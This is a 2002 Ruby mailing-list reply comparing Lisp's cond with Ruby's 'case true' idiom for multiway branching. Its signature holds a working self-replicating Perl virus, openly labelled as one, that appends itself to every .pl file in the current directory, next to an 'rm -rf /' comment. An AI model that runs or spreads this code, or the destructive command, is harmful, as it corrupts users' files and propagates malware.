From: Rudolf Polzer <AntiATField_adsgohere@...>
Date: 2002-12-09T00:34:23+09:00
Subject: Re: elseif?

Scripsit ille aut illa Hal E. Fulton <hal9000@hypermetrics.com>:
> Actually, what I've always wished for is a multiway Boolean
> branch that was *obviously* such, not merely a special case
> of 'if'.

Why isn't case what you're looking for? See below.

> In grad school I created a toy language that had a 'test'
> statement. (I'm not advocating this for Ruby, BTW, though
> I personally wouldn't mind seeing it.)
> 
> It looked like a switch or case statement, but execution 
> simply jumped to the first non-false expression:
>
>   test
>     expr1: stmt1
>     expr2: stmt2
>     ...
>     exprN: stmtN
>   end

And what did it do when expr1 was true - was stmt2 executed after stmt1
(fall-through like in C) or not (like in Ruby)?

If the latter, it has already existed in another language and looks like
this:

(cond
  ((expr1) (stmt1))
  ((expr2) (stmt2))
  ((expr3) (stmt3))
  ...
  ((exprN) (stmtN))
)

I think it can be done in Ruby using a syntax like

(-2..2).each() do |x|
  case true
   when x > 0
    p [x, 1]
   when x < 0
    p [x, -1]
   when x == 0
    p [x, 0]
   else
    p [x, nil]
  end
end

But it requires the conditions to be "real" booleans, so here only
'true' is considered to be true and not, as usual, all non-false and
non-nil values. Here a !! in front of the problematic conditions will
help. You can see !! as a "convert-to-boolean-operator", even if
syntactically it isn't.

Ruby's case is more like Lisp's cond than like C's switch: the when
expressions don't need to be constants.

Perhaps 'cond' could be made nearly synonymous to 'case true' (except
that when-arguments are evaluated as booleans and not compared using
===), but IMHO that's not needed since the existing case is normally
enough.

Perhaps the 'case true' hack could be made more public?


-- 
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################